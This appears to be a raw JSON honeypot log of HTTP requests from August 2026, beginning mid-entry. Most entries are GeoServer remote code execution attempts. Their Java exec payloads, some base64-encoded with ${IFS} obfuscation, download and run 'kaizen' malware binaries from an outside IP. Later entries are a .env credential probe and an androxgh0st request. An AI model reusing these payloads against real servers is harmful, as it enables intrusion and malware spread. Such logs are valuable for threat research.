ztub2h1cCAuLy5rIHNlbGZyZXAuZ2Vvc2VydmVyID4vZGV2L251bGwgMj4mMSAm%7Cbase64%24%7BIFS%7D-d%7Csh%22%29",
"client_ip": "127.0.0.1",
"client_port": 49588,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*"
},
"body": "",
"body_len": 0
},
{
"ts": "2026-08-30T12:07:50.930340+00:00",
"method": "POST",
"path": "/geoserver/wfs",
"client_ip": "127.0.0.1",
"client_port": 49594,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"Content-Length": "917",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Content-Type": "application/xml"
},
"body": "\n \n exec(java.lang.Runtime.getRuntime(),new java.lang.String[]{'/bin/bash','-c','cd /tmp||cd /var/run||cd /dev/shm||cd /root||cd /;wget -q http://196.251.121.142/a3f8d2/kaizen.x86_64_srv -O .k 2>/dev/null||wget -q http://196.251.121.142/a3f8d2/kaizen.arm64 -O .k 2>/dev/null||wget -q http://196.251.121.142/a3f8d2/kaizen.x86 -O .k 2>/dev/null||curl -fsSL http://196.251.121.142/a3f8d2/kaizen.x86_64_srv -o .k 2>/dev/null||curl -fsSL http://196.251.121.142/a3f8d2/kaizen.arm64 -o .k 2>/dev/null||curl -fsSL http://196.251.121.142/a3f8d2/kaizen.x86 -o .k 2>/dev/null;chmod 777 .k;nohup ./.k selfrep.geoserver >/dev/null 2>&1 &'})\n",
"body_len": 917
},
{
"ts": "2026-08-30T12:07:51.719664+00:00",
"method": "POST",
"path": "/geoserver/wfs",
"client_ip": "127.0.0.1",
"client_port": 49596,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"Content-Length": "1099",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Content-Type": "application/xml"
},
"body": "\n \n exec(java.lang.Runtime.getRuntime(),\"sh -c echo${IFS}Y2QgL3RtcHx8Y2QgL3Zhci9ydW58fGNkIC9kZXYvc2htfHxjZCAvcm9vdHx8Y2QgLzt3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1PIC5rIDI+L2Rldi9udWxsfHx3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtTyAuayAyPi9kZXYvbnVsbHx8d2dldCAtcSBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1PIC5rIDI+L2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1vIC5rIDI+L2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtbyAuayAyPi9kZXYvbnVsbHx8Y3VybCAtZnNTTCBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1vIC5rIDI+L2Rldi9udWxsO2NobW9kIDc3NyAuaztub2h1cCAuLy5rIHNlbGZyZXAuZ2Vvc2VydmVyID4vZGV2L251bGwgMj4mMSAm|base64${IFS}-d|sh\")\n",
"body_len": 1099
},
{
"ts": "2026-08-30T12:07:52.671030+00:00",
"method": "GET",
"path": "/geoserver/ows?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=topp:tasmania_roads&valueReference=exec%28java.lang.Runtime.getRuntime%28%29%2C%22sh%20-c%20echo%24%7BIFS%7DY2QgL3RtcHx8Y2QgL3Zhci9ydW58fGNkIC9kZXYvc2htfHxjZCAvcm9vdHx8Y2QgLzt3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1PIC5rIDI%2BL2Rldi9udWxsfHx3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtTyAuayAyPi9kZXYvbnVsbHx8d2dldCAtcSBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1PIC5rIDI%2BL2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1vIC5rIDI%2BL2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtbyAuayAyPi9kZXYvbnVsbHx8Y3VybCAtZnNTTCBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1vIC5rIDI%2BL2Rldi9udWxsO2NobW9kIDc3NyAuaztub2h1cCAuLy5rIHNlbGZyZXAuZ2Vvc2VydmVyID4vZGV2L251bGwgMj4mMSAm%7Cbase64%24%7BIFS%7D-d%7Csh%22%29",
"client_ip": "127.0.0.1",
"client_port": 49608,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*"
},
"body": "",
"body_len": 0
},
{
"ts": "2026-08-30T12:07:53.362492+00:00",
"method": "POST",
"path": "/geoserver/wfs",
"client_ip": "127.0.0.1",
"client_port": 49610,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"Content-Length": "925",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Content-Type": "application/xml"
},
"body": "\n \n exec(java.lang.Runtime.getRuntime(),new java.lang.String[]{'/bin/bash','-c','cd /tmp||cd /var/run||cd /dev/shm||cd /root||cd /;wget -q http://196.251.121.142/a3f8d2/kaizen.x86_64_srv -O .k 2>/dev/null||wget -q http://196.251.121.142/a3f8d2/kaizen.arm64 -O .k 2>/dev/null||wget -q http://196.251.121.142/a3f8d2/kaizen.x86 -O .k 2>/dev/null||curl -fsSL http://196.251.121.142/a3f8d2/kaizen.x86_64_srv -o .k 2>/dev/null||curl -fsSL http://196.251.121.142/a3f8d2/kaizen.arm64 -o .k 2>/dev/null||curl -fsSL http://196.251.121.142/a3f8d2/kaizen.x86 -o .k 2>/dev/null;chmod 777 .k;nohup ./.k selfrep.geoserver >/dev/null 2>&1 &'})\n",
"body_len": 925
},
{
"ts": "2026-08-30T12:07:53.985155+00:00",
"method": "POST",
"path": "/geoserver/wfs",
"client_ip": "127.0.0.1",
"client_port": 49614,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"Content-Length": "1090",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Content-Type": "application/xml"
},
"body": "\n \n exec(java.lang.Runtime.getRuntime(),\"sh -c echo${IFS}Y2QgL3RtcHx8Y2QgL3Zhci9ydW58fGNkIC9kZXYvc2htfHxjZCAvcm9vdHx8Y2QgLzt3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1PIC5rIDI+L2Rldi9udWxsfHx3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtTyAuayAyPi9kZXYvbnVsbHx8d2dldCAtcSBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1PIC5rIDI+L2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1vIC5rIDI+L2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtbyAuayAyPi9kZXYvbnVsbHx8Y3VybCAtZnNTTCBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1vIC5rIDI+L2Rldi9udWxsO2NobW9kIDc3NyAuaztub2h1cCAuLy5rIHNlbGZyZXAuZ2Vvc2VydmVyID4vZGV2L251bGwgMj4mMSAm|base64${IFS}-d|sh\")\n",
"body_len": 1090
},
{
"ts": "2026-08-30T12:07:54.875361+00:00",
"method": "GET",
"path": "/geoserver/ows?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=cite:Lakes&valueReference=exec%28java.lang.Runtime.getRuntime%28%29%2C%22sh%20-c%20echo%24%7BIFS%7DY2QgL3RtcHx8Y2QgL3Zhci9ydW58fGNkIC9kZXYvc2htfHxjZCAvcm9vdHx8Y2QgLzt3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1PIC5rIDI%2BL2Rldi9udWxsfHx3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtTyAuayAyPi9kZXYvbnVsbHx8d2dldCAtcSBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1PIC5rIDI%2BL2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1vIC5rIDI%2BL2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtbyAuayAyPi9kZXYvbnVsbHx8Y3VybCAtZnNTTCBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1vIC5rIDI%2BL2Rldi9udWxsO2NobW9kIDc3NyAuaztub2h1cCAuLy5rIHNlbGZyZXAuZ2Vvc2VydmVyID4vZGV2L251bGwgMj4mMSAm%7Cbase64%24%7BIFS%7D-d%7Csh%22%29",
"client_ip": "127.0.0.1",
"client_port": 33348,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*"
},
"body": "",
"body_len": 0
},
{
"ts": "2026-08-30T12:07:55.630904+00:00",
"method": "POST",
"path": "/geoserver/wfs",
"client_ip": "127.0.0.1",
"client_port": 33358,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"Content-Length": "916",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Content-Type": "application/xml"
},
"body": "\n \n exec(java.lang.Runtime.getRuntime(),new java.lang.String[]{'/bin/bash','-c','cd /tmp||cd /var/run||cd /dev/shm||cd /root||cd /;wget -q http://196.251.121.142/a3f8d2/kaizen.x86_64_srv -O .k 2>/dev/null||wget -q http://196.251.121.142/a3f8d2/kaizen.arm64 -O .k 2>/dev/null||wget -q http://196.251.121.142/a3f8d2/kaizen.x86 -O .k 2>/dev/null||curl -fsSL http://196.251.121.142/a3f8d2/kaizen.x86_64_srv -o .k 2>/dev/null||curl -fsSL http://196.251.121.142/a3f8d2/kaizen.arm64 -o .k 2>/dev/null||curl -fsSL http://196.251.121.142/a3f8d2/kaizen.x86 -o .k 2>/dev/null;chmod 777 .k;nohup ./.k selfrep.geoserver >/dev/null 2>&1 &'})\n",
"body_len": 916
},
{
"ts": "2026-08-30T12:07:56.478952+00:00",
"method": "GET",
"path": "/geoserver/ogc/features/v1/collections?filter-lang=cql-text&filter=exec%28java.lang.Runtime.getRuntime%28%29%2Cnew%20java.lang.String%5B%5D%7B%27/bin/bash%27%2C%27-c%27%2C%27cd%20/tmp%7C%7Ccd%20/var/run%7C%7Ccd%20/dev/shm%7C%7Ccd%20/root%7C%7Ccd%20/%3Bwget%20-q%20http%3A//196.251.121.142/a3f8d2/kaizen.x86_64_srv%20-O%20.k%202%3E/dev/null%7C%7Cwget%20-q%20http%3A//196.251.121.142/a3f8d2/kaizen.arm64%20-O%20.k%202%3E/dev/null%7C%7Cwget%20-q%20http%3A//196.251.121.142/a3f8d2/kaizen.x86%20-O%20.k%202%3E/dev/null%7C%7Ccurl%20-fsSL%20http%3A//196.251.121.142/a3f8d2/kaizen.x86_64_srv%20-o%20.k%202%3E/dev/null%7C%7Ccurl%20-fsSL%20http%3A//196.251.121.142/a3f8d2/kaizen.arm64%20-o%20.k%202%3E/dev/null%7C%7Ccurl%20-fsSL%20http%3A//196.251.121.142/a3f8d2/kaizen.x86%20-o%20.k%202%3E/dev/null%3Bchmod%20777%20.k%3Bnohup%20./.k%20selfrep.geoserver%20%3E/dev/null%202%3E%261%20%26%27%7D%29",
"client_ip": "127.0.0.1",
"client_port": 33374,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*"
},
"body": "",
"body_len": 0
},
{
"ts": "2026-08-30T12:12:34.923855+00:00",
"method": "GET",
"path": "/.env",
"client_ip": "127.0.0.1",
"client_port": 56694,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "78.153.140.50",
"X-Forwarded-For": "78.153.140.50",
"X-Forwarded-Proto": "https",
"Connection": "close",
"User-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.140 Safari/537.36",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*"
},
"body": "",
"body_len": 0
},
{
"ts": "2026-08-30T12:12:35.960309+00:00",
"method": "POST",
"path": "/",
"client_ip": "127.0.0.1",
"client_port": 56700,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "78.153.140.50",
"X-Forwarded-For": "78.153.140.50",
"X-Forwarded-Proto": "https",
"Connection": "close",
"Content-Length": "20",
"User-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.140 Safari/537.36",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Content-Type": "application/x-www-form-urlencoded"
},
"body": "0x%5B%5D=androxgh0st",
"body_len": 20
},
{
"ts": "2026-08-30T12:19:34.021954+00:00",
"method": "GET",
"path": "/log",
"client_ip": "127.0.0.1",
"client_port": 32802,
"headers": {
"Host": "cb.cubicy.icu",
"X-Real-IP": "216.73.216.31",
"X-Forwarded-For": "216.73.216.31",
"X-Forwarded-Proto": "https",
"Connection": "close",
"accept": "*/*",
"user-agent": "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)",
"accept-encoding": "gzip, br, zstd, deflate"
},
"body": "",
"body_len": 0
}
]